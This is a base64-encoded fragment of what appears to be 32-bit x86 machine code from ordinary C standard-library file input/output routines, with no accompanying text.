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D6AGAOAp0ODnGdfTpDP///420JgAAAACJ6Ynyidjo/eb//ynHOcV2iekb////ZpCLVCQoKfqF/w9FwukP////KfC9AQAAAIt8JCiDwAGJwQ+Fyf7//+nq/v//kI10JgDoq+T//+ka////jbYAAAAAU4PsFItcJByBCwwkAADHQ0z/////x0NQ/////1PorhAAAMdDOP////+DxBhbw2aQU4PsFItcJByBCwwkAADHQ0z/////x0NQ/////1PofhAAAMdDOP////+DxBhbw2aQV1ZTi3QkEItUJByLfCQgi0QkJPZGPAIPhcMAAACFwA+UwIPsBA+2wFLB4A8LRCQgUP90JCDodjACAIPEEInDhdsPiIoAAACLFon4gecEEAAAJQwQAACJXjiB4vPv//8JwoH/BBAAAIkWdBWD7AxW6PwPAACDxBCJ8FteX8ONdgCLvpQAAAC4tNcOCC2g0w4IifqB6qDTDgg50A+GgAAAAGoCagBqAFb/V0Ah0IPEEIP4/3W3uND///9lgzgddKy4BgAAAP8V0GoQCD0A8P//d0UxwFteX8OJ9o28JwAAAAAxyYXAi1wkFA+UwbgFAAAAweEPC0wkGP8V0GoQCD0A8P//icMPhjX////o4ccCAInD6Sn////o1ccCADHA67SQ6Bvj///pdv///422AAAAAFVXVlOD7AyLXCQgg3s4/3V1i0QkJIurlAAAAMfG0P///8dDTP/////HQ1D/////iUM4iwOJ6oHqoNMOCGWLPoPg84PIQIkDuLTXDggtoNMOCDnQdjuD7AxqA2oBagBqAFP/VSQh0IPEIIP4/3QSZYk+g8QMidhbXl9dw5CNdCYAZYM+HXTog8QMMcBbXl9dw+h74v//676J9o28JwAAAABTMcCD7AiLXCQYhdt0GYtUJBSLRCQQidnoY+T//znDD5XAD7bA99iDxAhbw410JgBXVlOLXCQQi3M4g/7/D4TlAAAAiwMx/yUICAAAPQAIAAAPhAkBAACD7Awx9lPobiUAAIPEEPZDPCAPhMEAAACLU2iF0n5Ri0NYi0AghcB0DIPsDFPoB34EAIPEEGoAagBqAFPoqHgEAItDWIPEEMdACAAAAADHAAAAAADHQAQAAAAAx0AQAAAAAMdADAAAAADHQBQAAAAAagBqAGoAU+i9EwAAx0MMAAAAAMdDBAAAAADHQwg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SU+gN+P//g8QQg/j/D4V5////uP/////pdP///420JgAAAACLQ2iFwA+O5QAAAItDWIPsBItQDItAECnQwfgCUFJT6NzN//+DxBCD+P8PlMCEwHW+i1MU6RX///+NtCYAAAAAi0MQg+wEKcJSUFPooPf//4PEEOkV////kI20JgAAAACLUxyJUwiJ1+kw////jXYAg+wMi3sIUynX6CIJAACLUwyJ/YPEEPfdidErSxyJyPfYOc8PQsUBwosDiVMMiVME6er+//+NdgCDyCCJA7jQ////ZccACQAAALj/////6ar+//+QjXQmAIPsDFPo/wsAAItTHIsDg8QQiVMMiVMEiVMI6Z/+//+J9o28JwAAAACLQxCD7AQpwlJQU+jw9v//g8QQg/j/D5TA6R////9mkFdWU4tcJBCLQxSLUxA50HY0i0tohckPjoQAAACLQ1iD7ASLUAyLQBAp0MH4AlBSU+i7zP//g8QQhcAPlcCEwA+FhgAAAItTBInXK3sIdDiLs5QAAAC6tNcOCIHqoNMOCInxgemg0w4IOcp2bIn4agGZUldT/1ZAIdCDxBCD+P90P4tDBIlDCMdDTP/////HQ1D/////McBbXl/DkI10JgCD7AQp0FBSU+gz9v//g8QQhcAPlcDrhon2jbwnAAAAALjQ////ZYM4HXS8W7j/////Xl/DjXQmAOhz2P//642QVVeJx1ZTidaD7CyLQAyJVCQEKcaJRCQIi0cwhcAPhBMBAACJ84nCifaNvCcAAAAAi0oIixI5yw9P2YXSdfKLTyyJ8inaic2JTCQMi08kKc056nc0KdWF2w+I8AAAAIXSD4WqAAAAAc2FwIlvKHQKkClwCIsAhcB19zHAg8QsW15fXcOQjXQmAI1CZIlMJByJVCQYg+wMiUQkIFDoAGUAAIlEJCCDxBCFwA+EFwEAAIXbi1QkGItMJBwPiNQAAACLRCQQA1wkCIPsBIlMJBBSjWhkU1XoF5wAAIPEEItMJAyD7AxR6PdnAACLRCQgi3QkFCt3DIlHJANEJCSDxBCJRyyLRzDpX////420JgAAAAADXCQIAemD7ARSU1Hoz5sAAIt0JBQDbySDxBArdwyLRzDpMv///4tfLItPJIndiVwkDCnNhfYPiRr///+J84nYg+wEAen32FCLRCQUAdhQUeg7CP//i3QkFInoi1cMKdgDRySDxAyJ8SnRUVJQ6G6bAAADbyQrdwyDxBCLRzDp1f7//4tEJBCD7ASNaGSJ2PfYUANcJBRTVejDmQAAg8QMVv90JBBQ6LWZAACLTySDxBDpGv///7j/////6av+//+h+HUQCIXAdC/3AACAAAB1J4tQSINqBAF1HsdCCAAAAABlgz0MAAAAAHQB8IMqAXQHjQLoKEUCAIMtBHYQCAF1KccFCHYQCAAAAABlgz0MAAAAAHQB8IMtAHYQCAF0C40FAHYQCOj2RAIA88ONdCYAVVdWU74AAAAAicOD7CxloRQAAACJRCQcMcCF9g+E5gEAAIPsBGoAaEB6BQiNRCQYUOgahfr3g8QQZYsVCAAAADsVCHYQCHQsMcC5AQAAAGWDPQwAAAAAdAHwD7ENAHYQCHQLjQ0AdhAI6FJEAgCJFQh2EAiLC4sVBHYQCIkd+HUQCInIg8IBJQCAAACJFQR2EAgPhUABAACLU0hliz0IAAAAO3oIdCu5AQAAAGWDPQwAAAAAdAHwD7EKdAeNCuj9QwIAiwuLU0iJyIl6CCUAgAAAiy1gYRAIg0IEAYXtdDE56w+EOAEAAIt9NIX/dCI5+3UX6T0BAACQjbQmAAAAADnTD4ToAAAAideLVzSF0nXvgOF/hcCJCw+FqAAAAItLSItBBIPoAYXAiUEEixUEdhAIdHSD6gHHBfh1EAgAAAAAhdKJFQR2EAh1KccFCHYQCAAAAABlgz0MAAAAAHQB8IMtAHYQCAF0C40FAHYQCOh8QwIAhfZ0EoPsCGoAjUQkGFDoyYP694PEEItEJBxlMwUUAAAAD4WfAAAAg8QsW15fXcOQjXQmAMdBCAAAAABlgz0MAAAAAHQB8IMpAXQHjQHoKkMCAIsVBHYQCOlj////jbQmAAAAAIstYGEQCIXtD4X6/v//gOF/iQvpRP///4PHNItTNIMF/HUQCAGJF+kN////jXQmAMdEJAxAegUIx0QkEAAAAADpHP7//412AItTNIMF/HUQCAGJFWBhEAjp3P7//419NOu56DFIAgCQi0QkBPYAgHQH6bL9//9mkPPDjbQmAAAAAI28JwAAAABXVlOD7CCLXCQwZaEUAAAAiUQkHDHAiwOogA+FTAEAAL4AAAAADICF9okDD4RvAQAAg+wEagBoQHoFCI1EJBhQ6KuC+veDxBBlixUIAAAAOxUIdhAIdCwxwLkBAAAAZYM9DAAAAAB0AfAPsQ0AdhAIdAuNDQB2EAjo40ECAIkVCHYQCIsVBHYQCIsDiR34dRAIg8IBJQCAAACJFQR2EAgPhdsAAACLe0hlixUIAAAAO1cIdCm5AQAAAGWDPQwAAAAAdAHwD7EPdAeND+iQQQIAi3tIiwOJVwglAIAAAIsVYGEQCINHBAGDBfx1EAgBhcCJHWBhEAiJUzQPhdcAAACLRwSD6AGFwIlHBIsVBHYQCA+EogAAAIPqAccF+HUQCAAAAACF0okVBHYQCHUpxwUIdhAIAAAAAGWDPQwAAAAAdAHwgy0AdhAIAXQLjQUAdhAI6DpBAgCF9nQSg+wIagCNRCQYUOiHgfr3g8QQi0QkHGUzBRQAAAB1aIPEIFteX8OhYGEQCIMF/HUQCAGJHWBhEAiJQzTpfP///422AAAAAMdEJAxAegUIx0QkEAAAAADpk/7//412AMdHCAAAAABlgz0MAAAAAHQB8IMvAXQHjQfoukACAIsVBHY